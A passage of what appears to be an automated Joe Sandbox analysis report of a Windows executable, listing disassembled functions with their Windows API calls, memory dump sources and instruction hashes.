                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00F0A49B,00EECFE0,00000000,00000000,00000000,?,00F0A698,00000006,FlsSetValue,00F17348,00F17350,00000000), ref: 00F0A540
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: LibraryLoad$ErrorLast
                  • String ID:
                  • API String ID: 3177248105-0
                  • Opcode ID: 4294d87978967063d8932bb3212b0887a6e07269a3791a0b6e9818d3204114ed
                  • Instruction ID: 2bd3c43654e4f92bc1e2d30c76fe88b359ecbb0896d04429dcabbc8b59d05ad2
                  • Opcode Fuzzy Hash: 4294d87978967063d8932bb3212b0887a6e07269a3791a0b6e9818d3204114ed
                  • Instruction Fuzzy Hash: 85012B36B1132AABCB218B789C44BB77B98BF45BB17194620F906E31C0D731DA00F6E1
                  Function 00EE9F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON
                  Download Yara Rule
                  APIs
                  • GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,00EECC94,00000001,?,?,?,00000000,00EF4ECD,?,?,?), ref: 00EE9F4C
                  • WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00EF4ECD,?,?,?,?,?,00EF4972,?), ref: 00EE9F8E
                  • WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,00EECC94,00000001,?,?), ref: 00EE9FB8
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: FileWrite$Handle
                  • String ID:
                  • API String ID: 4209713984-0
                  • Opcode ID: fa0cbba1fd315169d3190de40725816756f4aaff09bbd17d15dcaf1b83335350
                  • Instruction ID: 5e7314c9965d2e5483933c1d5486f117f6205fb32573a26860f24dd227b2ebe1
                  • Opcode Fuzzy Hash: fa0cbba1fd315169d3190de40725816756f4aaff09bbd17d15dcaf1b83335350
                  • Instruction Fuzzy Hash: D03126712083899BDF108F15D9487BABBE4EB50714F04565CF845FB282C774DD48CBA2
                  Function 00EEA207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON
                  Download Yara Rule
                  APIs
                  • CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA22E
                  • CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA261
                  • GetLastError.KERNEL32(?,?,?,?,00EEA113,?,00000001,00000000,?,?), ref: 00EEA27E
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CreateDirectory$ErrorLast
                  • String ID:
                  • API String ID: 2485089472-0
                  • Opcode ID: a716bda60a19dd6885bf0731082d1ef330d9de2d4010cd60cee212b9e26a58a1
                  • Instruction ID: 6d20524c75495816c1d6e93c0120af8d85b046b92e45caa39d0481f1323b8eda
                  • Opcode Fuzzy Hash: a716bda60a19dd6885bf0731082d1ef330d9de2d4010cd60cee212b9e26a58a1
                  • Instruction Fuzzy Hash: 0801803114129C66DB329B665C05BFE3388AF0E789F0C5869FA01F60A1D766EA4196A3
                  Function 00F0AFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                  Download Yara Rule
                  APIs
                  • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00F0B019
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Info
                  • String ID:
                  • API String ID: 1807457897-3916222277
                  • Opcode ID: 20c833ae8a947f1b17437c2c16405e1637ea4338266a281b94ec23653821fedc
                  • Instruction ID: 48047a4388cf207d728ff0fcbfd113a41da545a538f59dbfd8c5d79f6e80b2d1
                  • Opcode Fuzzy Hash: 20c833ae8a947f1b17437c2c16405e1637ea4338266a281b94ec23653821fedc
                  • Instruction Fuzzy Hash: AB41F77190438CAADF218E648C94BFBBBA9DB45704F1404EDE59A87182D335AE45FF60
                  Function 00F0A72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 00F0A79D
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: String
                  • String ID: LCMapStringEx
                  • API String ID: 2568140703-3893581201
                  • Opcode ID: 2e5d6856d4997ee34beae7b702364a42be010a893d625a1d367ae35ef87a3af2
                  • Instruction ID: e52125fadee326df2e1d16b518e138f96784196641f1cf7ba8f3365e373d8f96
                  • Opcode Fuzzy Hash: 2e5d6856d4997ee34beae7b702364a42be010a893d625a1d367ae35ef87a3af2
                  • Instruction Fuzzy Hash: 2A01D37254420DBBCF02AFA0DC05DEE7F76EF08760F058154FE1866161CA769971BB92
                  Function 00F0A6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON
                  Download Yara Rule
                  APIs
                  • InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00F09D2F), ref: 00F0A715
                  Strings
                  • InitializeCriticalSectionEx, xrefs: 00F0A6E5
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CountCriticalInitializeSectionSpin
                  • String ID: InitializeCriticalSectionEx
                  • API String ID: 2593887523-3084827643
                  • Opcode ID: 1d24ff8a3014f2c534b0774057efb352ae4e7fda6166a1424d1baba60ef24823
                  • Instruction ID: fe3789e49196eeb36bcdfa8ad24926c298f0f25d064b2c78066659dce74de8dd
                  • Opcode Fuzzy Hash: 1d24ff8a3014f2c534b0774057efb352ae4e7fda6166a1424d1baba60ef24823
                  • Instruction Fuzzy Hash: 11F0BE31A4531CBBCB116F64CC05CEEBFB1EF48720B418064FC196A2A0DA719A60BB92
                  Function 00F0A56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Alloc
                  • String ID: FlsAlloc
                  • API String ID: 2773662609-671089009
                  • Opcode ID: adbe4f3c8dae44b696dc99fb8c1fccd0c7eb9421f668c9b4d6ed839f3a90a76c
                  • Instruction ID: b937fc4cebaeccbd03292cd746c82e4f58082db48217b95719bb5b0b54e56062
                  • Opcode Fuzzy Hash: adbe4f3c8dae44b696dc99fb8c1fccd0c7eb9421f668c9b4d6ed839f3a90a76c
                  • Instruction Fuzzy Hash: 01E05570B8532CABC610BB608C069FEFBA0DF24B20B428014FC0827280DD708E00B6D6
                  Function 00F0329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                  Download Yara Rule
                  APIs
                  • try_get_function.LIBVCRUNTIME ref: 00F032AF
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: try_get_function
                  • String ID: FlsAlloc
                  • API String ID: 2742660187-671089009
                  • Opcode ID: f0bc55afb3109176076c89edf708ce133f836ca2fcfb044f60168386b186ad7d
                  • Instruction ID: d9cc27bae4b8d096e6bafef1cccb281fea5783a39799dc0e40d4ee37ee6c2414
                  • Opcode Fuzzy Hash: f0bc55afb3109176076c89edf708ce133f836ca2fcfb044f60168386b186ad7d
                  • Instruction Fuzzy Hash: 5AD05B31B81778BAD51032D6AC03AEEBE488741FB5F460152FF0C6E2929565D59071D6
                  Function 00F0B350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00F0AF1B: GetOEMCP.KERNEL32(00000000,?,?,00F0B1A5,?), ref: 00F0AF46
                  • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00F0B1EA,?,00000000), ref: 00F0B3C4
                  • GetCPInfo.KERNEL32(00000000,00F0B1EA,?,?,?,00F0B1EA,?,00000000), ref: 00F0B3D7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CodeInfoPageValid
                  • String ID:
                  • API String ID: 546120528-0
                  • Opcode ID: d063527c5b1eceef6b45cc73af8714383b16cfe08c9f315281748c9e05d16e85
                  • Instruction ID: af049988b99d7ee9c9dd37ec430844b1dbbf24dfd2a541d855405c931e72f002
                  • Opcode Fuzzy Hash: d063527c5b1eceef6b45cc73af8714383b16cfe08c9f315281748c9e05d16e85
                  • Instruction Fuzzy Hash: 5E514674D003069EDB20CF31C8806BABBE5EF41320F1884AED496872D3D7399A41FB91
                  Function 00EE1385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE1385
                    • Part of subcall function 00EE6057: __EH_prolog.LIBCMT ref: 00EE605C
                    • Part of subcall function 00EEC827: __EH_prolog.LIBCMT ref: 00EEC82C
                    • Part of subcall function 00EEC827: new.LIBCMT ref: 00EEC86F
                    • Part of subcall function 00EEC827: new.LIBCMT ref: 00EEC893
                  • new.LIBCMT ref: 00EE13FE
                    • Part of subcall function 00EEB07D: __EH_prolog.LIBCMT ref: 00EEB082
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: 6471f805556509289f2731b85e905836c088cdc8d84baec2f1712a0ae5dda58a
                  • Instruction ID: 209a2aa3354e24146d1ed89de6d1c637394858848caad72af6218610ba601746
                  • Opcode Fuzzy Hash: 6471f805556509289f2731b85e905836c088cdc8d84baec2f1712a0ae5dda58a
                  • Instruction Fuzzy Hash: 654156B0905B449EE724DF7A84859E7FAE6FF18300F404A6ED2EE93282CB322554CB11
                  Function 00EE1380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON
                  Download Yara Rule
                  APIs
                  • __EH_prolog.LIBCMT ref: 00EE1385
                    • Part of subcall function 00EE6057: __EH_prolog.LIBCMT ref: 00EE605C
                    • Part of subcall function 00EEC827: __EH_prolog.LIBCMT ref: 00EEC82C
                    • Part of subcall function 00EEC827: new.LIBCMT ref: 00EEC86F
                    • Part of subcall function 00EEC827: new.LIBCMT ref: 00EEC893
                  • new.LIBCMT ref: 00EE13FE
                    • Part of subcall function 00EEB07D: __EH_prolog.LIBCMT ref: 00EEB082
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: H_prolog
                  • String ID:
                  • API String ID: 3519838083-0
                  • Opcode ID: 3e3e625889c3071af1baa1aacebfbe933c6b2bef1ca46f7866422378bdf85eb3
                  • Instruction ID: 8f062f7e8ae49683c46f3c79ad0e1614c187d2e5259768d853cd366e63d8b9d1
                  • Opcode Fuzzy Hash: 3e3e625889c3071af1baa1aacebfbe933c6b2bef1ca46f7866422378bdf85eb3
                  • Instruction Fuzzy Hash: D54156B0905B449EE724DF7A84859E7FBE5FF18300F544A6ED2EE93282DB322554CB11
                  Function 00F0B188 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 00F08FA5: GetLastError.KERNEL32(?,00F20EE8,00F03E14,00F20EE8,?,?,00F03713,00000050,?,00F20EE8,00000200), ref: 00F08FA9
                    • Part of subcall function 00F08FA5: _free.LIBCMT ref: 00F08FDC
                    • Part of subcall function 00F08FA5: SetLastError.KERNEL32(00000000,?,00F20EE8,00000200), ref: 00F0901D
                    • Part of subcall function 00F08FA5: _abort.LIBCMT ref: 00F09023
                    • Part of subcall function 00F0B2AE: _abort.LIBCMT ref: 00F0B2E0
                    • Part of subcall function 00F0B2AE: _free.LIBCMT ref: 00F0B314
                    • Part of subcall function 00F0AF1B: GetOEMCP.KERNEL32(00000000,?,?,00F0B1A5,?), ref: 00F0AF46
                  • _free.LIBCMT ref: 00F0B200
                  • _free.LIBCMT ref: 00F0B236
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: _free$ErrorLast_abort
                  • String ID:
                  • API String ID: 2991157371-0
                  • Opcode ID: 375e086347d934b637f59e5cb884d61b8c298831de07d1a7be88afe77710ea17
                  • Instruction ID: e7527393007ad031e719589df4752df2e0dbf32ea70bca06482b545d95a1880b
                  • Opcode Fuzzy Hash: 375e086347d934b637f59e5cb884d61b8c298831de07d1a7be88afe77710ea17
                  • Instruction Fuzzy Hash: 5531E031A04209AFDB11EFA9D841BADB7E5EF40331F254099E8149B2D2EB769D42FB40
                  Function 00EE971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON
                  Download Yara Rule
                  APIs
                  • CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00EE9EDC,?,?,00EE7867), ref: 00EE97A6
                  • CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00EE9EDC,?,?,00EE7867), ref: 00EE97DB
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: CreateFile
                  • String ID:
                  • API String ID: 823142352-0
                  • Opcode ID: a20958debcc2daa0465845404c606578ff1afd1c040e0048cb85c8dd7c05e1f0
                  • Instruction ID: 7187a01c789c0ef39abf52150061b5fc07b1a95843b0c20d2a24bf20c690d2a2
                  • Opcode Fuzzy Hash: a20958debcc2daa0465845404c606578ff1afd1c040e0048cb85c8dd7c05e1f0
                  • Instruction Fuzzy Hash: 0A21F8B111478CAFD7308F65C885BA777E8EB49768F00491EF5D5A2192C374AC889B61
                  Function 00EE9D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON
                  Download Yara Rule
                  APIs
                  • FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00EE7547,?,?,?,?), ref: 00EE9D7C
                  • SetFileTime.KERNELBASE(?,?,?,?), ref: 00EE9E2C
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: File$BuffersFlushTime
                  • String ID:
                  • API String ID: 1392018926-0
                  • Opcode ID: 8a9a120885acdaa2a7aa3c8977c18f09f3f0333a04d681eef5e9d2a52335bb5c
                  • Instruction ID: d115ea1eec180aeccc04cb668170850fcfc245a3cbcb48fb595c5f72cdaa320c
                  • Opcode Fuzzy Hash: 8a9a120885acdaa2a7aa3c8977c18f09f3f0333a04d681eef5e9d2a52335bb5c
                  • Instruction Fuzzy Hash: 4121D63114829EABC714DE26C851AEBBBE4AF95708F04591CF4C1A7142D329DA0CDB51
                  Function 00F0A458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetProcAddress.KERNEL32(00000000,00F13958), ref: 00F0A4B8
                  • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00F0A4C5
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AddressProc__crt_fast_encode_pointer
                  • String ID:
                  • API String ID: 2279764990-0
                  • Opcode ID: d21db5fe805c494205b52c76003136f07eb8589dad1d7c867b996359964cd90c
                  • Instruction ID: 05f36bb0b829cb4de291d50e6c6d11a7f1bb15e3beaecababbeb374a6ae932f2
                  • Opcode Fuzzy Hash: d21db5fe805c494205b52c76003136f07eb8589dad1d7c867b996359964cd90c
                  • Instruction Fuzzy Hash: 57110A3FE113249BDF21DE28EC449AAB3969B843307578120FD15AB2A4EA70DC41F6D2
                  Function 00EE9B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON
                  Download Yara Rule
                  APIs
                  • SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00EE9B35,?,?,00000000,?,?,00EE8D9C,?), ref: 00EE9BC0
                  • GetLastError.KERNEL32 ref: 00EE9BCD
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorFileLastPointer
                  • String ID:
                  • API String ID: 2976181284-0
                  • Opcode ID: 7eec58d0b5dc1b5fa002df7837e463c2301b80349040ef0daaf657403ef85ba5
